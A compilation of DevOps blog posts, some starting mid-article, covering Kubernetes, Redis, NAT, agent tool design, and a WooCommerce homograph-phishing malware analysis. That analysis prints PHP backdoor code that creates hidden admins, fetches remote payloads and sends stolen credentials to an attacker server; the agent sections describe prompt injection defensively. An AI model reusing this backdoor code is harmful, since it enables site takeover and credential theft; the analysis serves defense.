They were free, as far as the scheduler was concerned. None of them declared resource requests.

The scheduler does not look at usage

This is the part that surprises people, and it surprised me for longer than I would like to admit. When Kubernetes decides where a pod goes, it does not measure how much memory or CPU that pod actually consumes. It reads spec.containers[].resources.requests and treats that number as the truth.

A container with no requests declares nothing, so it is scored as costing nothing. It fits anywhere. It fits on a node that is already running at ninety percent of its real memory, because as far as the scheduler’s arithmetic goes, that node still has its full allocatable capacity available.

Now combine that with the default scoring behaviour. Kubernetes prefers the least allocated node, on the reasonable theory that spreading work out is better than piling it up. But “least allocated” is computed from requests, not from usage. A brand new node has zero requests against it, so it wins every scoring round until something with real requests lands on it.

Put those two behaviours together and you get that outcome. Request-less pods gravitate toward whichever node is emptiest on paper. In practice that means they gravitate toward the node you just added, which is exactly the node you were trying to keep free.

What it costs

The count is usually higher than expected. On one cluster, fifteen pods had no requests declared at all. Their actual combined usage was roughly 1.4 GB of memory. That was 1.4 GB the scheduler did not know about, distributed across nodes according to a model that said it did not exist.

None of it had caused an outage, which is what makes it easy to leave alone. The cluster looks balanced in every dashboard that reports requests, and is quietly not balanced at all.

The second problem: QoS class

Requests do not only drive scheduling. They also decide which of three quality of service classes a pod lands in, and that class decides who gets killed when a node runs out of memory.

• Guaranteed: every container sets requests and limits, and they are equal. Evicted last.
• Burstable: requests are set, and are lower than limits. Evicted in the middle, ordered by how far above its request the pod is running.
• BestEffort: no requests and no limits at all. Evicted first, before anything else on the node.

Every one of those fifteen pods was BestEffort. So the same omission that caused them to crowd onto the emptiest node also guaranteed they would be the first thing killed when that node came under pressure. The failure mode is self-inflicted on both ends: you concentrate them where the headroom is thinnest, and then you make them the first casualties of the thing you caused.

Sizing requests without guessing

The advice to “just set requests” is easy to give and annoying to act on, because the obvious question is what number to use. Two rules got me most of the way.

Size requests from observed usage, not from fear. Look at what the workload actually consumes in steady state and set the request near that, with a little headroom. Requests are a reservation. Every megabyte you request is a megabyte no other pod can be scheduled against, whether or not you ever touch it. Inflating requests to feel safe is how you end up buying a node you did not need.

kubectl top pods -A --sort-by=memory

# and the inverse: everything that declares nothing
kubectl get pods -A -o json | jq -r '
  .items[] | select(
    [.spec.containers[].resources.requests // {}] | map(length) | add == 0
  ) | "(.metadata.namespace)/(.metadata.name)"'

Limits can be generous. Requests cannot. A limit costs nothing at scheduling time. It is a ceiling that only matters when a container tries to exceed it. So there is little downside to setting a limit at two or three times the request, which gives a workload room to handle a burst without letting a runaway process take the node down with it.

There is one important exception. If a process has its own internal memory ceiling, setting the container limit equal to that ceiling will get it killed before its own eviction logic ever runs. That is a specific enough trap that it deserves its own post, and I have written one.

The rule I settled on

Every deployment declares requests. Not because every workload is important, but because a workload that declares nothing is invisible to the only model the scheduler has. An unimportant pod that lies about costing zero does more damage to placement decisions than an important one that tells the truth.

initContainers are the easiest thing to miss. They are short lived, but they are scheduled against the same node as the pod they belong to, and while they run they are just as invisible as anything else.

If you want one thing to check after reading this, run the second command above. The output is usually shorter than you expect and more interesting than you want.

The two numbers being equal is the entire bug.

Why matching them is wrong

Setting maxmemory equal to the container limit looks like the careful thing to do. You are telling Redis exactly how much room it has, and telling the kernel the same number. Nothing is wasted.

The problem is that maxmemory does not mean “the amount of memory this process will use”. It means “the amount of memory Redis will count toward its own accounting of stored data”. Those are different numbers, and the second one is always larger.

What sits outside that accounting includes client output buffers, replication buffers if you have them, the copy-on-write pages during a fork for persistence, allocator fragmentation, and the process itself. Fragmentation alone routinely runs at ten to twenty percent above the reported dataset size, depending on your workload’s key and value sizes.

So the sequence goes like this. Redis fills toward maxmemory. Its own bookkeeping says it is approaching the ceiling and eviction should begin shortly. But the resident set size the kernel sees crossed the cgroup limit some time ago, because of everything in the paragraph above. The kernel does not wait politely for Redis to finish its own accounting. The OOM killer fires, the container dies, and it restarts empty.

Then it fills up again. Twelve times, before anyone looked at it properly.

Eviction never gets a turn

The detail worth sitting with is that the eviction policy is not broken. It is never reached. Whatever you configured, allkeys-lru or volatile-lru or anything else, is a strategy for staying under maxmemory, and the process is being killed before that strategy has any work to do.

This is why the symptom is confusing. You configured eviction. You can see the policy is set. The instance still dies as if it had noeviction. The logs show a clean start and then nothing useful, because being OOMKilled is not something a process gets to write a log line about.

kubectl get pod <pod> -o jsonpath='{.status.containerStatuses[0].lastState.terminated.reason}'
# OOMKilled

kubectl get pod <pod> -o jsonpath='{.status.containerStatuses[0].restartCount}'
# 12

If you see OOMKilled with a rising restart count on something that has an eviction policy, this is almost always what happened.

The fix

Give maxmemory real headroom under the container limit. I use half, which is more conservative than strictly necessary and costs nothing I care about on a cache.

commonConfiguration: |-
  maxmemory 128mb
  maxmemory-policy allkeys-lru
  save ""
  appendonly no

master:
  resources:
    requests:
      memory: 128Mi
    limits:
      memory: 256Mi

If halving feels wasteful, the usual guidance is to leave at least twenty five percent, and more if you fork for snapshots, because copy-on-write during a background save can add a great deal depending on write volume. On a cache instance I disable persistence entirely, which removes the fork from the equation and makes the remaining overhead much easier to reason about.

The other half of the fix is watching the right number. used_memory is what Redis counts. used_memory_rss is what the kernel counts, and it is the one that gets you killed.

redis-cli INFO memory | grep -E 'used_memory_human|used_memory_rss_human|mem_fragmentation_ratio'

A fragmentation ratio meaningfully above 1 tells you how much of a gap you are dealing with. That is the gap your headroom has to cover.

It is not really about Redis

The general shape of this applies to anything that manages its own memory ceiling inside a cgroup limit. A JVM with -Xmx set to the container limit will be killed before it can garbage collect its way out of trouble, because heap is not the only thing in a JVM process. The same reasoning covers PHP-FPM worker counts multiplied by memory_limit, and any runtime with a configurable arena.

The rule is the same in each case. The number the application uses to decide when to start managing its own memory has to be below the number the kernel uses to decide when to kill it. If they are equal, the application’s own protection never runs.

Worth checking your chart defaults, incidentally. A packaged chart will happily let you set both values to the same number, because it looks tidy.

That arrangement is common enough. What is less commonly written down is the specific way it fails when you build it on a cloud private network, and why the fix is not where you would look for it.

The shape

Inbound is straightforward. Everything arrives at the one node that has an address, and the ingress controller routes from there. Workers receive no direct inbound traffic at all, which is a security property worth having on its own.

Outbound is where the work is. Workers still need to reach the internet: pulling images, calling third party APIs, fetching packages during a build. With no public address of their own, that traffic has to leave through the one node that has one. So the master becomes a NAT gateway for the rest of the cluster.

One detail that catches people out before they even get to routing: a node without a public address is not necessarily addressless. On some providers it will be handed an address from the carrier grade NAT range, 100.64.0.0/10. It looks like an address. It is not routable, it changes across reboots, and it is useless for both ingress and egress. Do not build anything on it.

The part that does not work

The obvious configuration is to give each worker a default route pointing at the master’s private address. It reads correctly. It is what you would write on a whiteboard.

# looks right, does not work
ip route add default via 10.0.0.2 dev eth0 onlink

It fails silently. Packets go nowhere and you get no useful error, because nothing is technically wrong with the configuration. The problem is an assumption underneath it.

A cloud private network that presents itself as 10.0.0.0/24 is not necessarily a flat layer 2 segment. On the provider I use, each node’s interface holds a /32. Every node has exactly one address and no notion of a neighbouring range. All traffic between hosts, even hosts that appear to sit in the same subnet, is routed through the provider’s gateway.

The consequence is that nodes are not directly reachable at the link layer. Their ARP tables hold the gateway’s MAC address and nothing else. onlink tells the kernel to send the frame directly to the next hop without needing a route to it, which is precisely the thing that cannot happen here. The frame cannot be delivered to the master, because there is no path to the master that does not go through the gateway first.

You can confirm this quickly on any node:

ip route show
# 10.0.0.0/24 via 10.0.0.1 dev eth0

ip neigh show dev eth0
# only the gateway appears, never the other nodes

If your route table says the whole subnet is reachable via a gateway rather than directly on the device, you are in this situation, and any configuration that assumes host to host adjacency will fail.

Where the fix actually lives

Not on the nodes. The routing decision has to be made by the thing that is already routing everything, which is the provider’s network.

Cloud private networks generally support adding routes as a property of the network itself. You add a route saying 0.0.0.0/0 goes to the master’s private address, and the provider’s gateway starts forwarding accordingly. The workers need no default route of their own for this to work. They send to the gateway, as they already did for everything else, and the gateway hands it onward.

The master then needs to be willing to forward and to masquerade, which is ordinary Linux:

net.ipv4.ip_forward=1

iptables -t nat -A POSTROUTING -s 10.0.0.0/24 -o eth0 -j MASQUERADE

Two things to get right here. Make the sysctl persistent, or the cluster loses egress on the next reboot of the master. And make sure your masquerade rule survives whatever else is writing to iptables on that host, which on a Kubernetes node is a great deal.

What this costs you

Worth being clear that this is a real tradeoff, not a free saving.

• The master becomes a single point of failure for all outbound traffic. If it goes down, workers keep running but stop being able to pull images or reach any external service.
• All egress shares one source address, so any rate limiting or reputation applied by an external service now applies to your whole cluster at once.
• The master carries traffic it would not otherwise carry, which matters if it is also your smallest node.

For a cluster where a brief loss of outbound connectivity is an inconvenience rather than an outage, that is a reasonable trade. For anything where it is not, you want a second gateway and a failover story, and at that point the cost saving has mostly evaporated.

The general lesson I took from it is narrower than the setup: when a network behaves in a way your configuration says is impossible, check whether the subnet you were handed is actually a subnet.

It is fast because you are not designing anything. You have handed over your entire surface area and written a note asking for restraint.

My position is that agent safety is mostly an API design problem, and that the prompt is the weakest available place to put a constraint. Not useless, but weakest. If a limit matters, it belongs in the shape of the tool, where the model’s cooperation is not required.

Allow-list, do not deny-list

A generic tool with instructions is a deny-list, and it inherits every problem deny-lists have ever had. You are enumerating the bad cases, and the set of bad cases is larger than your imagination.

Consider a tool that runs arbitrary SQL against a read replica, with a prompt saying to only read and never modify. You have to think of DROP, and DELETE, and UPDATE. Then you have to think about whether a read can be harmful on its own, which it can, because SELECT * FROM users is a data exfiltration primitive. Then you have to think about resource exhaustion from an unbounded join. Then about writable functions and extensions.

Now consider seven narrow tools instead: list posts, get one post, create a draft, update a draft, import an image from a URL, set a draft’s featured image, publish. Each one does a single thing, and the set of things the surface can do is exactly the union of those seven. There is nothing to enumerate, because nothing else is expressible.

The trade is real. The narrow surface cannot do things you did not anticipate, which is frustrating the first time you want one of them. That inflexibility is the feature. A surface that can do things you did not anticipate is the definition of the problem.

Four rules that survive contact

No delete. Not a confirmation flag on delete, not a soft delete the agent can trigger. No delete tool at all. Deletion is the one operation where a mistake has no recovery path inside the system, and an agent almost never needs it. If something has to be removed, a human can remove it, and the cost of that inconvenience is far below the cost of the alternative.

Mutation only on unpublished state. An agent that can edit drafts can be wrong in private. An agent that can edit live content is wrong in public, at whatever scale your audience happens to be. Reject the operation at the tool boundary based on the record’s state, not on whether the model believed it was editing a draft.

Destructive or irreversible actions behind an explicit flag. Publishing is the example I use, because it is the transition from private to public and it cannot be quietly undone once something is indexed or in a feed. Make the tool require confirm=true as a separate argument, and make the default refuse. The point is not that a model cannot pass a flag. It is that passing it is a distinct, auditable, deliberate act rather than a side effect of a broader call.

No generic escape hatch. Frameworks in this space often ship something like an execute-any-registered-capability tool, because it is genuinely useful during development. Shipping it defeats every other rule on this list in a single line, since the narrow tools become decoration around a general one. If a capability framework offers a default server exposing everything, turn it off and register only what you meant to expose.

Separate the principal, not just the tools

Narrow tools running as an administrator are narrow by convention only. If the underlying credential can do anything, then any bug in the tool layer, any path traversal in an argument, any unescaped identifier, restores the full surface.

So the agent gets its own role, with permissions that match the tool surface and nothing more. In a content system that means a role which can draft but not publish, cannot install anything, cannot touch users, and is blocked from every route except the one its tools use. Then the tool surface and the credential agree, and neither one alone is the whole defence.

This is also what makes the audit trail worth having. Actions arrive attributed to the agent’s own principal, so “what did the agent change last Tuesday” is a query rather than an investigation.

The test I would run before shipping any of it

Assume the model is fully compromised. Every instruction in its context is adversarial, and it will take the worst action available to it. Now enumerate what it can do.

If the answer is “create and edit drafts, which a human reviews”, that is a system you can leave running. If the answer involves the word “arbitrary”, the design is not finished, and no amount of prompt engineering will finish it.

None of this is an argument for keeping agents away from real systems. I want them wired into real systems, because that is where they are useful. It is an argument that the interesting work is in the tool surface rather than the prompt, and that the tool surface is where I would spend the review time.

That is the property I care about most when someone shows me an agent wired into real data, and it is usually the property nobody has thought about. The question I ask is simple and it is uncomfortable more often than not: who is this agent acting for?

The shape almost everyone builds first

The first version of an agent with data access nearly always looks like this. There is one service account. It can read everything, because during development reading everything is convenient and any narrower permission is a thing you have to stop and configure. Tenant scoping arrives as context: the system prompt says which customer the conversation is about, and the tools accept a customer identifier as an argument.

It works. It demos beautifully. And the authorisation boundary now lives in a string that a language model is being politely asked to respect.

I want to be precise about why that is a problem, because “prompts are unreliable” is a lazy way to put it and invites the equally lazy answer of writing a firmer prompt.

The model cannot refuse what the tool permits

If a tool signature accepts a tenant identifier, then choosing that identifier is part of the model’s job. You have made it a decision. And the model makes that decision from whatever is in its context, which includes the conversation, the retrieved documents, and anything a user typed.

The failure does not require an attacker. Three ordinary things cause it:

• Drift. A long conversation mentions several accounts. The correct identifier for turn twelve is not obviously the one from turn two, and nothing in the loop is tracking which was authoritative.
• Helpfulness. A user asks a comparative question. Answering it well requires data from a second tenant. The model has a tool that can fetch it and no reason to believe it should not.
• Injected content. Any text the agent reads and did not author is a potential instruction. A support ticket, a document, a product description. If reading is enough to influence which identifier gets passed, then whoever writes that content shares control of the boundary.

All three have the same root. The identity of the principal is being derived from content, and content is not a trustworthy source of identity.

Move the decision out of the model

The fix is not a better instruction. It is removing the parameter.

The tool should resolve the principal from the session, server side, and the model should have no way to express a different one. Compare these two signatures:

# the model chooses. the boundary is advisory.
get_invoices(tenant_id: str, status: str) -> list

# the model cannot choose. the boundary is structural.
get_invoices(status: str) -> list
    # tenant resolved from the authenticated session, not from arguments

The second signature makes the cross-tenant request unrepresentable. There is no argument to get wrong, no string to be talked into changing, and no prompt to harden. An injected instruction telling the agent to fetch another customer’s invoices produces a tool call that is identical to the correct one, because the tenant was never the model’s to supply.

This is worth being stubborn about, because there is always a use case that seems to need the parameter. An internal admin agent that legitimately spans tenants, for instance. The answer is a separate tool surface with a separate principal, not one surface with a flag, because a flag is exactly the thing that gets set incorrectly.

Three questions worth answering before shipping

What can this principal reach if the model is fully compromised? Assume every instruction in the context window is adversarial and the model does exactly the worst permitted thing. The blast radius is the answer, and it should be the tenant, not the estate.

Can you prove after the fact which principal did what? If every tool call reaches the database as the same service account, your audit log records that the agent did it, which is not useful during an incident. The principal has to be visible at the point of access, not just in the application layer above it.

Have you actually tried? Write the test. Put a second tenant’s identifier in a document the agent will read, ask a question that would be better answered with cross-tenant data, and see what the tool layer receives. This is a cheap test and it is skipped almost universally, because the happy path demos so well that nobody goes looking.

Why this keeps happening

Because it is a genuinely new place for an old bug. We already know not to trust client-supplied identifiers in a web request. Nobody sensible reads a user ID from a query string and returns that user’s data. But an agent’s tool arguments feel like internal function calls rather than untrusted input, and they are treated accordingly.

They are not internal. They are values produced by a process that consumed untrusted text. The moment you look at them that way, the design follows on its own, and the prompt goes back to being what it should have been: a description of how to be useful, carrying no security weight at all.

The axis that predicts outcomes is not difficulty. It is whether you can cheaply tell that the result is correct.

Two piles

Put a task in the first pile if being wrong is loud. A parser with a table of inputs and expected outputs. A pure transformation between two data shapes. A refactor the type checker will reject if it breaks. A regex with a fixture file. Query construction you can run against a snapshot and diff. In all of these, wrongness announces itself in seconds and the cost of a bad answer is the time it took to run the check.

Put it in the second pile if being wrong is quiet. Concurrency, where the bug appears under load on a Tuesday. Anything security relevant, because you cannot write a test asserting the absence of a vulnerability. A data migration, which is destructive and runs once. Performance work, where you need measurements to know if you helped. Error handling paths that only execute during an incident. Cache invalidation, where the failure is stale data that looks like data.

Difficulty cuts across both piles. A tricky bit-manipulation routine is hard and belongs firmly in the first pile, because you can test it exhaustively. A three-line change to a permission check is trivial and belongs in the second, because nothing will tell you it is wrong until it matters.

The confidence is flat, which is the trap

A model produces code with the same fluency in both piles. There is no tremor in the output when it moves from a well-trodden transformation to a subtle memory-ordering question. The prose in the explanation is equally assured. Variable names are equally sensible. It compiles either way.

Human collaborators leak signal here in a way that models do not. A colleague who is unsure tends to say so, or hedges, or writes a comment asking whether this is right. That signal is a real part of how review works, and its absence is easy to underestimate. Generated code arrives with no uncertainty attached, so the reader supplies the confidence themselves, and the reader is usually in a hurry.

What this changes in practice

Three things, and none of them are about writing better prompts.

Spend the assistance where the loop is tight. If a task has a check that runs in under a minute, delegate generously and iterate against the check rather than reading closely. Reading generated code line by line is slow and, for this pile, largely redundant, because the check is a better reviewer than you are.

In the second pile, use it for a draft you intend to rewrite. Not for the answer. A generated first attempt at a concurrency fix is useful the way a colleague’s whiteboard sketch is useful: it surfaces the shape and the cases you had not considered. Shipping it because it looks reasonable is the failure. The verification cost has not gone anywhere just because the writing cost dropped.

Move work from the second pile to the first. This is the part I find genuinely interesting. Checkability is not a fixed property of a task. It is a property of your codebase.

A permission check with an exhaustive table-driven test moves piles. A migration with a dry-run mode and a reversible path moves piles. Concurrency logic pulled behind an interface you can deterministically exercise moves piles. A performance-sensitive path with a benchmark you actually run in CI moves piles.

Every one of those was already good engineering, and every one of them was easy to skip. What has changed is the return: investment in checkability now directly increases how much work you can safely hand off. That reframes test and type discipline from hygiene into leverage, which is a better argument than the one we had before.

The failure I keep seeing

Somebody delegates a task from the second pile, the output looks right, the tests that exist pass, and it goes out. The tests that exist pass because they were written for the code that used to be there. Nothing has verified the new behaviour, and the code carries no signal that it needs verifying more than usual.

This is not an argument for using these tools less. I use them constantly and they have changed how much I get done, particularly in that first pile, which turns out to be a larger share of real work than the framing about boilerplate suggests. It is an argument for being deliberate about which pile you are in, because the tool will not tell you and the output looks identical from the outside.

The question worth asking before delegating anything is not whether the model can do it. It is how you will know if it did.

This article is a brief overview of IDN homograph attacks with a real-world case.

A client recently forwarded a suspicious “security update” email. Upon investigation, it turned out to be part of a sophisticated phishing campaign targeting website owners. The attacker is trying to impersonate WooCommerce, claiming a critical vulnerability has been patched and urges recipients to download a fake “security update” which is actually a trap designed to compromise web stores running on WooCommerce.

How it works

The attackers registered the domain “woocommerċe.com” (Notice anything unusual?). At first, this domain appears identical to the legitimate “woocommerce.com” website. However, there’s a critical difference: the second “c” in the malicious domain isn’t the standard Latin “c” character but rather “ċ” – a special character with a dot above it that looks nearly identical in most fonts and email clients.

When users click links in these phishing emails, they’re directed to pages like:

https://woocommerċe.com/products/woocommerce-authbypass-update/

This page mimics WooCommerce’s official website and prompts users to download a “critical security patch” which is actually malicious software masked as a WooCommerce plugin.

For a comparison, the legitimate WooCommerce site doesn’t have this page at all:

https://woocommerce.com/products/woocommerce-authbypass-update/ (returns a 404 error)

What is a IDN Homograph attack

This technique is known as a IDN Homograph attack (also called an Internationalized Domain Name Homograph attack or Script Spoofing). It exploits the visual similarity between characters in different writing systems or alphabets to create convincing fake domains.

In Unicode, there are many characters from different alphabets that look identical or nearly identical to Latin alphabet characters. For instance:

• The Cyrillic “о” looks like the Latin “o”
• The Greek “ρ” resembles the Latin “p”
• And as I’ve shown, the Latin “c” with a dot (ċ) looks just like a regular “c”

Browsers display these special characters in a way that makes the fraudulent domains nearly indistinguishable from legitimate ones. The attack is effective because:

1. Most users don’t inspect URLs character by character
2. Email clients and browsers don’t highlight these subtle differences
3. The domains can obtain HTTPS certificates, showing the “secure” padlock icon
4. The websites can be exact visual copies of legitimate sites

Why IDN Homograph attacks are dangerous

This phishing campaign is especially concerning for several reasons:

1. It specifically targets WooCommerce users, who typically run e-commerce businesses with valuable customer data and payment information.
2. By claiming to address a critical security vulnerability, the attackers create a sense of urgency that might override normal caution.
3. The “patch” is actually malicious software that could potentially:
   • Steal customer data and payment information
   • Capture admin credentials
   • Install backdoors for future access
   • Compromise the entire website or server
4. The domain impersonation makes standard security advice like “check the URLs” less effective.

Under the Hood: What this malicious plugin does

I’ve obtained the actual malicious plugin code distributed through the link:

https://woocommerċe.com/download/authentication-bypass-fix?download

Disclaimer: Do not install this on your websites.

Let’s analyze this malware to understand exactly how it works and what’s used to compromise websites.

Plugin Header Fakery

The attackers carefully crafted the plugin header to appear legitimate:

// Plugin Name: Woo Vulnerability Fix
// Description: Essential security update for WooCommerce vulnerabilities.
// Version: v1.0.0
// Author: WooCommerce
// Author URI: https://woocommerce.com/

This professional presentation helps bypass the initial suspicion a site administrator might have when installing a plugin.

Backdoor Creation

The core functionality of this malware is to create a persistent backdoor through multiple mechanisms:

1. Hidden Administrator Account:

The plugin creates a new administrator user with a programmatically generated username and random password. The code snippet responsible for this:

function sortProfile899()
{
   $set="WP_User";
   $k = databaseManager856();  // Generates username based on site URL
   $m = queueAverage411();     // Generates random password
   $id = null;
   if (!username_exists($k)) {
       $o = wp_create_user($k, $m);
       if (!is_wp_error($o)) {
           $p = new $set($o);
           $ddf = "p";
           ${$ddf}->set_role(base64_decode('YWRtaW5pc3RyYXRvcg'));  // "administrator" encoded
           parseHeap180($k, $m);
           $id = $p->ID;
       }
   } else {
       // If user exists, ensure they have admin privileges
       $r = get_user_by('login', $k);
       if ( $r && !in_array( base64_decode('YWRtaW5pc3RyYXRvcg'), (array) $r->roles, true ) ) {
           $r->set_role(base64_decode('YWRtaW5pc3RyYXRvcg'));
           $id = $r->ID;
       }
   }
   // Additional code to handle Wordfence admin
}

2. Secondary Backdoors:

The function computeSaved755() downloads additional malicious code from an external server and places it in the uploads directory with obfuscated filenames:

function computeSaved755() {
   $scanningToken = "aHR0cHM6Ly93b29jb21tZXJjZS1oZWxwLmNvbS9hY3RpdmF0ZQ";
   $contents = wp_remote_get(base64_decode($scanningToken), ['timeout' => 30]);
   if ( !is_array( $contenchannelsts ) && is_wp_error( $contents ) ) { return; }
   $detections = json_decode(base64_decode($contents['body']), true);
   for ($i=1;$i<4;$i++) {
       $iteration = 'wp-cached-'.databaseManager856().strrev('php.'.$i);
       $index = 'Scan'.$i;
       $cnts = base64_decode($detections[$index]);
       processDateTime421($iteration, $cnts);
   }
}

This creates files named with patterns like wp-cached-[hash].i.php (with reversed filename) to evade detection.

Data Exfiltration

The plugin steals sensitive site information and sends it to an attacker-controlled server:

function parseHeap180($I, $J)
{
    $K = get_site_url(null, '', 'https');
    $L = collectComplete942();  // Gets IP address
    $N = sprintf("%s`%s`\n%s`%s`\n%s`%s`\n%s`%s`\n---", 
           base64_decode('c2l0ZXVybDog'), $K, 
           base64_decode('dXNlcjog'), $I, 
           base64_decode('cGFzczog'), $J, 
           base64_decode('aXAgYWRkcmVzczog'), $L, 
           base64_decode('YCBcbi0tLS0='));

    // Builds data package with site URL, admin username, password, and IP
    $P = [base64_decode('dXNlcg') => $I, 'url' => $K, 
          base64_decode('cGFzcw') => $J, 'ip_address' => $L, 
          'iterations' => $iterations, 'siteurl' => base64_encode($N)];

    // Exfiltration endpoint (decoded: "https://wptechsolutions.org/wpapi")
    $O = "aHR0cHM6Ly93cHRlY2hzb2x1dGlvbnMub3JnL3dwYXBp";
    $Q = base64_decode($O) . '?' . http_build_query($P);
    $response = wp_remote_get($Q, ['timeout' => 30]);
}

This function collects and transmits:

• The website URL
• The backdoor admin username and password
• The server’s IP address
• Paths to the secondary backdoor files

Concealment Techniques

The attackers weren’t amateurs – their stealth game is strong. I’ve identified the following:

1. Hidden User

The backdoor admin user is hidden from the WordPress users list by hooking this function into the pre_user_query WordPress filter:

function formatReport933($z)
{
   $A = databaseManager856();
   global $wpdb;
   $z->query_where .= $wpdb->prepare(" AND {$wpdb->users}.user_login != %s", $A);
}

2. Manipulated User Counts

The total user and administrator counts are reduced by one to hide the backdoor admin user by hooking this function into the views_users WordPress filter:

function compressDate796($vjs)
{
   $osrs = count_users();
   $nmr = $osrs['avail_roles']['administrator'] - 1;
   $anmr = $osrs['total_users'] - 1;
   // Updates the displayed counts
}

3. Self-Protection

The plugin prevents its own deactivation when the user hits “Deactivate” buttons:

function computeWorker455()
{
   wp_die('This plugin cannot be deactivated.');
}

And removes the delete link from the plugins page:

function dispatchMean595($smcnn, $plugin_file)
{
   $stoc = __FILE__;
   $stpc = call_user_func('plugin_basename', $stoc);
   if ($stpc === $plugin_file) {
       unset($smcnn['delete']);
   }
   return $smcnn;
};

4. Hidden Plugin

The plugin hides itself from the WordPress plugins list:

function databaseInstruction266()
{
    global $current_user;
    $username = $current_user->user_login;
    if ($username == databaseManager856()) {
        return;
    }
    if (!is_plugin_active('woocommerce-update/woocommerce-update.php')) {
        return;
    }
    global $wp_list_table;
    $hidearr = array('woocommerce-update/woocommerce-update.php');
    $myplugins = $wp_list_table->items;
    foreach ($myplugins as $key => $val) {
        if (in_array($key, $hidearr)) {
            unset($wp_list_table->items[$key]);
        }
    }
}

5. Persistent Access

Uses WordPress cron to maintain persistent access. The function saveMatrix002 is called on every minute based on the securityStarted807 interval they registered in the plugin.

if (!wp_next_scheduled('saveMatrix022')) {
   wp_schedule_event(time(), 'securityStarted807', 'saveMatrix022');
}

Obfuscation Techniques

The malicious code uses several obfuscation techniques:

1. Base64 Encoding

Sensitive strings are encoded to avoid detection:

• ‘administrator’ → ‘YWRtaW5pc3RyYXRvcg’
• ‘user’ → ‘dXNlcg’
• ‘pass’ → ‘cGFzcw’

2. Misleading Function Names

Functions like roleChecker755, securityOptions253, and databaseManager856 suggest security-related operations while performing malicious actions.

3. Variable Obfuscation

Single-letter variable names and numeric suffixes make the code difficult to analyze:

$set="WP_User";
$k = databaseManager856();
$m = queueAverage411();
$ddf = "p";
${$ddf}->set_role(base64_decode('YWRtaW5pc3RyYXRvcg'));

4. Dynamic Variable References

Uses PHP’s variable variables feature to obfuscate code:

$ddf = "p";
${$ddf}->set_role(...);  // References $p indirectly

The bigger picture: Supply Chain Attacks

This attack attempts to exploit the software supply chain. The mechanism by which legitimate software updates are distributed. By impersonating a trusted vendor (WooCommerce) and delivering fake updates, attackers target one of the most sensitive routes in software security.

I will write more about Supply Chain attacks in future, but in meanwhile i’d suggest reading this interesting article by CloudFlare.

Conclusion

At the end of the day, IDN Homograph attacks are just another reminder that the cyber world requires a lot of caution. These attacks are fed with our habit of quickly clicking links without a second thought.

When someone replaces letters in a perfectly legitimate domain like “woocommerce.com” with similar-looking characters from other alphabets, your browser displays what looks identical to the real site but you’re actually on a completely different domain controlled by attackers.

Remember: Avoid clicking on links directly… Take a moment to hover over links, type addresses directly, and question unexpected security alerts or requests. Your safety isn’t about paranoia, it’s about building simple habits that become second nature…

The advice that follows an incident like that is usually to audit your dependencies. I want to be blunt about why that advice is close to useless in this specific shape of attack, and what actually changes the outcome.

Auditing does not operate at the speed of the problem

Auditing a dependency is a point-in-time statement about a version you have looked at. It says nothing about the version that will be published tonight.

The attack does not rely on you having failed to review the package. It relies on the package being fine when you reviewed it and not fine afterwards, combined with a pipeline that fetches whatever is newest without asking. You cannot review your way out of a race you are not present for.

So the useful question is not “is this dependency trustworthy”. It is “what stands between a new upstream release and my running system”, and for a great many setups the honest answer is nothing at all.

What a private registry actually changes

Running your own package registry, with upstream proxied through it, changes one thing: the moment of entry becomes yours to control. Nothing enters your estate because it was published. It enters because it was promoted.

That gives you three things worth having.

• A gate. A new upstream version exists in the proxy but is not available to builds until something promotes it. That something can be a person, a delay, a scanner, or a policy. Any of them is better than none.
• Immutability of what you already have. A version you have consumed is stored by you. An upstream package that is deleted, retagged, or republished with different content does not change what your builds resolve.
• A single place to answer “who is using this”. When the next advisory lands, the question is which of your projects pulled the affected version. A registry you own can answer that. A public one cannot.

What it does not change, which matters more

A private registry does not detect a malicious release. It has no opinion about the contents of a package. If you promote a compromised version, you have distributed a compromised version efficiently to everything you own.

It also does not remove your dependence on upstream maintainers, reduce the number of transitive packages you rely on, or tell you which of your dependencies is one unpaid volunteer away from an incident.

And it adds a component you now own. If it is down, your builds fail. If its storage is lost and you have not kept the artefacts, you have replaced a public single point of failure with a private one that has a smaller operations team, which is you.

So the registry is not a control by itself. It is the place where a control can exist. The control is the promotion policy, and a registry with an auto-promote-everything policy has bought you a mirror and an availability risk, nothing more.

A policy that is actually sustainable

The failure mode of a strict policy is that someone disables it under deadline pressure. So the version I would defend is deliberately modest.

Pin exact versions and commit the lock file. Free, and it is the single largest improvement available. A build that resolves to exactly what it resolved to yesterday is immune to tonight’s release regardless of anything else you do.

Impose a quarantine window rather than a review. Nobody sustains manual review of every dependency bump. A rule that a version must have existed publicly for some number of days before promotion needs no human attention and catches the case that matters, because a malicious release is usually discovered fast and yanked. Time is doing the work that review would not have done.

Turn off automatic updates in production for anything that executes code. This is the one that specifically addresses the incident I started with. Convenience was the vulnerability.

Separate promotion from consumption. Developers pull from the registry. Something else, with different credentials, decides what the registry offers. If the same identity can do both, the boundary is decorative.

Where the effort is worth it

I built a self-hosted Composer registry, so my bias is obvious. It is worth being clear that the case for it is not primarily security.

The case is usually private packages, build reliability when upstream has a bad day, and knowing what you depend on. The supply chain benefit is real but conditional, and it arrives only if you use the gate the registry gives you. For a single small project, pinning versions and disabling automatic updates gets you most of the protection for none of the operational cost, and I would start there rather than with infrastructure.

The thing I would not do is treat the registry as the answer and stop. That is how you end up with a well-run pipeline that distributes whatever it is given, which is a more efficient version of the original problem.

Docker is a platform that allows you to package and run applications in isolated environments called containers. By using Docker, you can run IMAPSync in a consistent and controlled environment, avoiding conflicts and dependencies that might arise from running the tool directly on your system. To migrate your emails using IMAPSync through Docker, you can use the following command:

docker run gilleslamiral/imapsync imapsync \
--host1 source.server.ip   --user1 info@yourmail.com --password1 'yourpass' \
--host2 target.server.ip   --user2 info@yourmail.com --password2 'yourpass' \
--automap "$@"

This command initiates the synchronization process, transferring emails from the source server to the target server efficiently and reliably.

I created a simple guide on how to configure K3S’s CoreDNS service to include the host’s nameservers defined in /etc/resolv.conf as well:

1. Adjust k3s configuration

Append kubelet-arg in k3s/config.yaml that tells k3s to load the host’s machine /etc/resolv.conf file:

echo 'kubelet-arg:' >> /etc/rancher/k3s/config.yaml
echo '- "resolv-conf=/etc/resolv.conf"' >> /etc/rancher/k3s/config.yaml

2. Restart k3s service

Restart the k3s service so the config file gets loaded

systemctl restart k3s

3. Re-create CoreDNS pods

Lastly, we need to kill the CoreDNS related pods so they will be recreated and will include the newly appended DNS server.

kubectl get pod -n kube-system -l k8s-app=kube-dns --no-headers | awk '{print $1}' | xargs -I{} kubectl delete pod -n kube-system {}